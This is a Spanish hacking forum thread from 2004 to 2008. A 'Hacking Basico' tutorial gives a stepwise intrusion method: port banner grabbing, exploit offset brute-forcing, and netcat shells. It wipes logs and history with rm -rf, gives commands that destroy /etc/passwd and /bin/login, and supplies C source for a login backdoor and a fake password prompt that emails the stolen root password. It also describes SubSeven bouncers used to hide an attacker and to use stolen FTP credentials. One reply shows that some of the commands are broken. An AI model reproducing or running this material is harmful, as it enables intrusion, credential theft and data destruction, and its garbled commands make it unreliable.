Test Foro de elhacker.net SMF 2.1

Informática => Tutoriales - Documentación => Mensaje iniciado por: HaCkZaTaN en 6 Noviembre 2004, 04:18 AM

Título: Hacking Basico!!
Publicado por: HaCkZaTaN en 6 Noviembre 2004, 04:18 AM
/*
  Name: Hacking
  Copyright: [N]eo Security [T]eam [NST]®
  Author: HaCkZaTaN
  Date: 04/11/04 19:19
  Description: Hacking
*/

_________________________________
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|=-=-=-=-=-=by HaCkZaTaN-=-=-=-=-=|
|-=-=-You may pray for your Pc=-=-|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|_________________________________|

_________
|1= Intro|
|________|

Hey q mas!! Pues aqi escribiendo esto haber que mas se me ocurre
____________
|2= Objetivo|
|___________|

Ir a Google.com

oK tenemosque mirar el objetivo detalladamente y anotar toda la Info Lo mas que podamos y no se te
ocurra Conectarte desde tu pc xD hazlo
desde una shell y utilzar bouncers...............................

________
|3= O.S | 
|_______|

oK determinar el O.S es muy importante
Formas:          __________________________________________________
Telnet> Host 23 [Es mucho mejor aveces colocar el puerto ssh <<22>>]
                 ___________________________________________________
Ftp> Host 21    [Para saber el server de ftp y mirar si tiene bugs para entrar como root es una forma
mas facil Determinar el DAEMON]
_______________________
|4= Escanear una WebPage|
|_______________________|

Yo scaneo con nmap es el mejor scanner que hay en la Net <<That's what i Think>>
Este scanner te da un log muy buena de los puertos y alguna informacion extra
Tenemos que mirar si esta en varios Dns para mirar con que nos metemos por que aveces estan los
diferentes puertos en cada Dns>>
Me explico [Dns1]>>>Tiene abierto el ftp
           [Dns2[>>>Tiene abierto el ssh
Escaneamod de esta manera
nslookup host
____________________________________
|5= Tratar de entrar por los puertos|
|___________________________________|

Para sacar info de los puertos y de los daemons hacemos

telnet> host 21
telnet> host 22
telnet> host 25
telnet> host 79
telnet> host 110
telnet> host 109
telnet> host 143
telnet> host 139 <<<por si utiliza archivos compartidos en windows>>>
telnet> host 119

oK nos vamos a mirar a cada daemon y mirar su server ejemplo

Port 21 Server ProFtp>>>> Buscamos Xploits para esta version de este server para tener permisos admins,
O si nos deja entrar como anonimo o
guest y nos deja mirar /etc/passwd o /etc/shadow/ pues miramos si no estan cifrados y buscamos un
desencriptador de Md5 o en lo que este
La mayoria de linux o Unix encriptan a 64bits

Port 22 lo mismo buscamos el server de ssh

Port 79 Finger si lo tienen abierto nos libran un peso de encima por que Esto nos da mucha informacion
del usuario o root escribimos <<</w>>>
para mirar quien esta en linea oK esto nos da mucho info.
Una cosa tambien podemos poner un sniffer es una grandiosa idea

Bueno con la informacion que aparece cuando haces el finger el passwd podria ser muy facil de sacarlo
y nos serviria como una shell gratuita
y de buena calidad <<smart me, don't I?>>

Otra seria sacar los passwd de los emails para mirar de que es lo que habla el root y con quien y hasta
depronto podemos utilixar nuestra
ingenieria social para sacar los passwd de la PC.
Podemos acceder por el puerto 110 <<POP>>
Podemos utilizar xploits, hay muchos para cada tipo de server de sendmail <<25>> o POP <<110>>

Tambien por el Puerto 80 scaneamos Bugs:
PHP NUKE
SQL
CGI
PL
ASP
APACHE
ORACLE
Etc...

____________________
|6= Local Xploits   |
|___________________|


Podemos utilizar exploits cuando ya estamos dentro de la maquina.

sh-3.00$ sh Xploit.sh
ven que facil ;-)
oK deben de saber de C por que aveces lo xplits no vienen bien configurados

Una vex hecho todo eso creamos un Usuario para tener una shell gratis xD
Pero no usuario normal si no uno con derechos como root (osea no ser root por que no se puede pero que tenga todos los derechos
posibles)) xD
Ahora estan con la moda del W00t, ptrace.. Bueno pues busquen acerca de el pero ademas ya son obsoletos

Jugando con offsets
Digo esto para los que les gusta jugar con ella :)
Un pequeno Brute Force en Perl.
***********************
#!/usr/bin/perl
$MIN=0;
$MAX=5000;
while($MIN<$MAX)
{
   printf('offset : $MIN n');
   system('xploit $MIN');
   $MIN++;
}
**************************
__________________
|7- Remotes Xploits|
|__________________|

Ok subimos un xploit a  nuestra shell y colocamos:

root@HaCkZaTaN!!:~ # ./s 0 && cat | netcat host 457
id
uid=28(nouser) gid=28(nogroup) groups=28(nogroup)     

y listo nos dio una shell nobody.
Acuerdense que hay que jugar con el offset para poder tener root xD.

_________________
|8= Borrar Huellas|
|_________________|

Borramos Huellas de esta manera

rm /var/log/wtmp
rm /var/log/lastlog
Para arrglar el PC
tee /var/log/wtmp
tee /var/log/lastlog

modo mas bueno seria
find / -name log && rm -rf && rm -f && ps -def && grep klogd && kill -9 pid && ps -def | grep syslog
cd /
rm -rf .bash_history && rm -rf /var/adm && rm -rf /root/.bash_logout && rm -rf /root/.bash_history
hay que Editar.bash_history o .sh_history
y si quieres es tumbar la PC xD:
rm -rf/etc/passwd
rm -rf /etc/shadow
rm -rf /bin/login
rm -rf /bin/rm
rm -rf /etc/inetd.conf
killall login
***********************************
find / -name log* -exec rm -rf {} \     //Forma ofuscada
***********************************

Otra Forma ((REpito caso todo lo de arriba xD
Buscando archivos con nombres que empiexen por log:
****************
find / -name log //Despues los borramos
*****************

********************
ps -def | grep klogd //Editamos este archivo
ps -def | grep syslog //Editamos este archivo
********************

***********
kill -9 pid //Matamos todos los procesos
***********
****************************
cd /
unset HISTFILE
rm -rf .bash_history
rm -rf /var/adm
rm -rf /root/.bash_logout
rm -rf /root/.bash_history
****************************

En windows Seria
del c:\winnt\system32\logfiles
del c:\windwos\system32\logfiles
del c:\winnt\system32\logfiles\*.log
dir /s *.log
dir /s *.evt
Bueno pero esto no es todo es mejor que te bajes un Zapper o un Wipper es la misma cosa pero
gente le gusta llamarlo de diferentes maneras

____________
|9- Troyanos|
|___________|

Troyano para linux el mas famoso y mas confiable BackDoor <<Hint: La mayoria de linux no tienen
antivirus>>
Lo llamaremos login.c
***********************************************************************************************
#include <stdio.h>
#define OLDLOGIN "/usr/lib/login"
#define LOGINNAME "login"
#define MAGIC_WORD "localhost"
#define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $"
char **exe;
do_back() {
   puts(REVISION);
   putenv("TERM=vt100");
   putenv("HISTFILE=/dev/null");
   execl("/bin/sh","sh","-i",0);
}
main(argc, argv)
   int argc;
   char *argv[];
{
   exe = argv;
   exe[0] = LOGINNAME;
   if ((char *)getenv("DISPLAY") != (char *)NULL) 
      if (strncmp(getenv("DISPLAY"),MAGIC_WORD,strlen(MAGIC_WORD)) == 0)
         do_back();
   execv(OLDLOGIN,exe);
}
*****************************************************************************************************
Bueno lo Subimos asi;
cp /bin/login /usr/lib/login
chmod 777 /usr/lib/login
tee login.c
gcc -O2 login.c -o login
chmod 4755 /bin/login

Bueno si queremos colocar clave modificamos
#define MAGIC_WORD "localhost" <<<Por esto>>>
#define MAGIC_WORD "aqui el password sin espacios"
oK ya tenemos root xD.

Esto seria en Windwos Utilizamos el SUb7 0 SubSeven
Ok subiremos un bouncer xD
Hacemos esto
"advanced"
"PORT REDIRECT"

en "input port" pon el puerto que nos vamos a conectar ejemplo 1942
en "output host/ip" Ip/Host a conectar
en "output port" Puerto a conectar 21,23 etc.
<<tambien se puede hacer en el IRC cuando te banean o quieres entras por seguridad>>

Para estar con bouncer en cualquier puerto lo hacemos asi en este caso Sera Http <<80>>
en "input port" 80
en "output host/ip" Host/Ip
en "output port" 80

ahora en el UNICONSOLE ponemos la ip del BOUNCER en vez de www.mju.es y JAMAS sabran que hemos sido
nosotros los que han entrado.
Para entrar en un FTP con claves ROBADAS y que no nos visiten los agradables guardia civiles:

-en "input port" Pon 21
-en "output host/ip" ponemos el OBJETIVO ftp.terra.es (por ejm)
-en "output port" pon 21
oK es facil asi se hace susecivamente con todos los puertos Es lo mismo que en la shell pero un poco
mas complicado

Unos se preguntaran pero como le hago para no estar jugando con comandos desde la URL
pues hay tenemos una Opcion dejar la pagina que estamos atacando con un backdoor o
corriendo algun servidor que nos deje entrar con el ssh (Putty si estas en Windows)

hay un BackDoor que se llama r0nin o puedes buscar mas en google.com hay apareceran
bastantes.
Aqui les dejo un troyano:D
************************************************************************************
************************************************************************************
#include <stdio.h>
#include <pwd.h>
#include <stdlib.h>
#define EMAIL "correo@electronico.aqui"
#define ARCH "arch.fsu
int main(void)
{
  char enviar[100];
  char grabar[100];
  char* clave;
  FILE* archivo_ptr;
  clave = (char *) getpass("Password:");
  puts ("Sorry");
  archivo_ptr = fopen(ARCH, "w");
  fprintf (archivo_ptr, "Root Password: %s\n", clave);
  fclose (archivo_ptr);
#ifndef TMP
  sprintf(enviar, "mail %s < %s ; rm %s", EMAIL, ARCH, ARCH);
  system(enviar);
#else
  sprintf(grabar, "cp %s %s", ARCH, TMP);
  system(grabar);
#endif
  exit (EXIT_SUCCESS);
}
************************************************************************************
************************************************************************************
La otra opcion que digo es con el NetCat :D Dejando unpuerto a la escucha con alguna shell
ya sea
zsh sh bash etc.....
Pero como lo hacemos? pues es muy facil
si es una Windows la Maquina que estamos atacando dejas escuchando asi

Título: Re: Hacking Basico!!
Publicado por: K-19 en 11 Noviembre 2004, 05:38 AM
 ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::) ::)
Título: Re: Hacking Basico!!
Publicado por: - DarkLinux - en 20 Noviembre 2004, 08:31 AM
No me parece Básico.

Ami forma de pensar. Esto no es lo que buscan los super new bies.

Lo que buscan ellos es algo de troyanos, keyloggers, caballos de troya, meterse a pc por telnet.

Etc...

Esto ya es para los que ya vieron lo anterior, y entonces si, leen el manualito de arriba, y pues aumentan de calidad de persona y su autoestima aumente :) jejej

Saludos
Título: Re: Hacking Basico!!
Publicado por: HaCkZaTaN en 21 Noviembre 2004, 04:39 AM
:o Pues no se como lo cojan es igual basico, avanzado. el fin es de aprender.
Salu2!!
Título: Re: Hacking Basico!!
Publicado por: CiberWoW en 18 Julio 2007, 04:43 AM
LO QUE NO ENTIENDO es por que tacho la letra eso complica la lectura ...

SaLu2  ::)
Título: Re: Hacking Basico!!
Publicado por: yeikos en 18 Julio 2007, 04:47 AM
Cita de: ~MaLo~ en 18 Julio 2007, 04:43 AM
LO QUE NO ENTIENDO es por que tacho la letra eso complica la lectura ...

SaLu2  ::)

Copia el documento y pegalo en el bloc de notas... :P
Título: Re: Hacking Basico!!
Publicado por: ActiveSheet en 20 Julio 2007, 09:49 AM
no sean malitos traduscanmelo padesco de la vista
Título: Re: Hacking Basico!!
Publicado por: Tor en 20 Julio 2007, 10:18 AM
Cita de: yeikos en 18 Julio 2007, 04:47 AM
Cita de: ~MaLo~ en 18 Julio 2007, 04:43 AM
LO QUE NO ENTIENDO es por que tacho la letra eso complica la lectura ...

SaLu2  ::)

Copia el documento y pegalo en el bloc de notas... :P

Si bueno, ya, pero PORQUE esta tachado el texto? :S
Título: Re: Hacking Basico!!
Publicado por: yeikos en 20 Julio 2007, 11:08 AM
El autor quiso escribir...

[N]eo [S]ecurity [T]eam [NST]®

Pero en bbCODE la etiqueta [*s] está reservada para tachar el texto...

Citar[N]eo ecurity [T]eam [NST]®
Título: Re: Hacking Basico!!
Publicado por: Tor en 20 Julio 2007, 11:22 AM
Cita de: yeikos en 20 Julio 2007, 11:08 AM
El autor quiso escribir...

[N]eo [S]ecurity [T]eam [NST]®

Pero en bbCODE la etiqueta [*s] está reservada para tachar el texto...

Citar[N]eo ecurity [T]eam [NST]®

Lol xD


Gracias! :P
Título: Re: Hacking Basico!!
Publicado por: Kasswed en 20 Julio 2007, 15:13 PM
Modificado. Más vale tarde que nunca.

Saludos.
Título: Re: Hacking Basico!!
Publicado por: ActiveSheet en 20 Julio 2007, 23:06 PM
mira na mas que buena onda ahora si esta bueno
Título: Re: Hacking Basico!!
Publicado por: RubiiTo en 7 Noviembre 2007, 20:42 PM
Esta muy Bien, Gracias :D


Título: Re: Hacking Basico!!
Publicado por: rubick en 5 Junio 2008, 20:33 PM
Me parece una basura todo el documento.

Simplemente comento una linea:
Citarfind / -name log && rm -rf && rm -f && ps -def && grep klogd && kill -9 pid && ps -def | grep syslog
cd /

Esto busca desde el raiz un fichero que se llama literalmente "log" (no encontrara ficheros como access.log) luego, si el comando ha finalizado SIN errores (&&) ejecutará el sieguiente. El find, si lo ejecutas en algunos sistemas linux te darán error en algunos directorios por lo cual ya no se ejecutarán más comandos.

Si el find no diera errores, borrarías forzando y de manera recursiva ningún fichero!!!!!!!!! si este comando termina bien (&&) que sabemos a ciencia cierta que te dará un error y no continuará, ejecutarías supuestamente un ps que te mostraría los ficheros y en este caso como el comando si sale bien, !buscarías la cadena klogd en ningún sitio!

De nuevo.. si el anterior comando que te devolverá un error no lo hiciera, luego harías un kill sobre numero de proceso "pid" ¿??¿?¿?

Esto solo en una linea..... se nota de sobra que no sabes de lo que estás hablando.

Por cierto ...
Citarsh-3.00$ sh Xploit.sh
ven que facil ;-)
oK deben de saber de C por que aveces lo xplits no vienen bien configurados

Como que es así de facil un xploit????? no dices a que vulnerabilidad ataca, a que versiones afecta,  como funciona ni como se llama ese xploit... Y nos dices que nosotros debemos de saber C, ¿Sabes acaso tu programar en C? Ejecutas en una shell "sh programa.sh" un script (ver la extension .sh) y luego dices que no vienen bien configurados estos exploits en C???? En fin....

Escribo esto para que la gente que se haya leido esta basura sepa que la información no es correcta y puede inducir a graves errores.
Título: Re: Hacking Basico!!
Publicado por: :ohk<any> en 6 Junio 2008, 21:53 PM
Interesante Info, se que ve te ha tomado tiempo hacerlo.
Voy a probar un par de tus método haber que pasa.

Saludos